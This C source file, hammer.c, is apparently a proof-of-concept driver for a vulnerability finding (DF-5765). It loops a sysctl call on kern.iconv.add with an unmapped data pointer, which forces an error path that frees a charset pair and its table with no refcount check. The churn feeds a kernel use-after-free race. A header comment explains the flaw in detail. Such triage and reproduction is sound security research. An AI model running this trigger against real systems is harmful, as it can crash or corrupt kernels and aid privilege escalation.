DF-5765 / hammer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * hammer.c -- userland (root) driver for the production kern.iconv.add * sysctl error path (finding DF-5765). * * Each iteration writes a struct iconv_add_in to kern.iconv.add with * ia_converter = "xlat", ia_to = "zz9to", ia_from = "zz9from", * ia_datalen = 256 (full-size table, so any incidental use is * in-bounds and the ONLY defect exercised is the * lifetime race, not DF-2247's short-table issue), * ia_data = 0x1000 (page 0: unmapped and unmappable). * * Production iconv_sysctl_add() (iconv.c:397) registers the charset * pair, kmallocs the 256-byte table, then copyin(0x1000) fails EFAULT * -> "goto bad" -> iconv_unregister_cspair() (iconv.c:440) which * TAILQ_REMOVEs and kfrees BOTH the cspair and its table with NO * refcount check. Looping this creates the register/free churn that * the kernel racer threads (iconv_open/iconv_convstr/iconv_close) * collide with. * * modes: * hammer <iters> run the add-error loop * hammer -l dump kern.iconv.cslist (parsed) + drvlist */ #include <sys/types.h> #include <sys/iconv.h> #include <sys/sysctl.h> #include <errno.h> #include <err.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define XR_TO "zz9to" #define XR_FROM "zz9from" static void dump_lists(void) { struct iconv_cspair_info csi; size_t len; char buf[4096]; int bad = 0, n = 0; /* converters list (names, NUL separated) */ len = sizeof(buf); if (sysctlbyname("kern.iconv.drvlist", buf, &len, NULL, 0) == 0) { char *p = buf; printf("drvlist:"); while (p < buf + len && *p) { printf(" %s", p); p += strlen(p) + 1; } printf("\n"); } else printf("drvlist: %s\n", strerror(errno)); /* charset pairs: struct iconv_cspair_info stream */ len = 0; if (sysctlbyname("kern.iconv.cslist", NULL, &len, NULL, 0) != 0) err(1, "cslist probe len"); if (len == 0 || len % sizeof(csi) != 0) { printf("cslist: %zu bytes (not a csi multiple?)\n", len); if (len == 0) return; len = sizeof(buf); if (sysctlbyname("kern.iconv.cslist", buf, &len, NULL, 0) != 0) err(1, "cslist read"); /* hexdump first 3 csi-sized chunks */ { unsigned i; for (i = 0; i < 96; i++) printf("%02x", (unsigned char)buf[i]); printf("...\n"); } return; } char *tmp = malloc(len); if (tmp == NULL) err(1, "malloc"); if (sysctlbyname("kern.iconv.cslist", tmp, &len, NULL, 0) != 0) err(1, "cslist read"); size_t i; for (i = 0; i + sizeof(csi) <= len; i += sizeof(csi)) { memcpy(&csi, tmp + i, sizeof(csi)); printf("cslist[%d]: id=%d base=%d refcount=%d %s <- %s\n", n++, csi.cs_id, csi.cs_base, csi.cs_refcount, csi.cs_to, csi.cs_from); if (csi.cs_refcount != 0) bad = 1; } free(tmp); printf("cslist: %d pairs, %s\n", n, bad ? "ANOMALY: nonzero refcount with no holders!" : "all refcounts 0"); } int main(int argc, char **argv) { struct iconv_add_in in; struct iconv_add_out out; size_t outlen; long i, iters; int rc; if (argc == 2 && strcmp(argv[1], "-l") == 0) { dump_lists(); return (0); } if (argc != 2) errx(1, "usage: %s <iters> | -l", argv[0]); iters = strtol(argv[1], NULL, 0); if (iters <= 0) errx(1, "bad iters"); memset(&in, 0, sizeof(in)); in.ia_version = ICONV_ADD_VER; strlcpy(in.ia_converter, "xlat", sizeof(in.ia_converter)); strlcpy(in.ia_to, XR_TO, sizeof(in.ia_to)); strlcpy(in.ia_from, XR_FROM, sizeof(in.ia_from)); in.ia_datalen = 256; /* full-size table */ in.ia_data = (const void *)0x1000; /* unmapped: copyin EFAULT */ for (i = 0; i < iters; i++) { outlen = sizeof(out); rc = sysctlbyname("kern.iconv.add", &out, &outlen, &in, sizeof(in)); if (rc != -1 || (errno != EFAULT && errno != EEXIST)) { /* EFAULT is the expected copyin failure; EEXIST * can happen if a racing register sneaked in. */ warnx("iter %ld: unexpected sysctl result rc=%d " "errno=%d", i, rc, errno); } if ((i % 1000000) == 0 && i) fprintf(stderr, "hammer: %ld iterations\n", i); } printf("hammer: %ld register/free error-path iterations done\n", iters); return (0); } |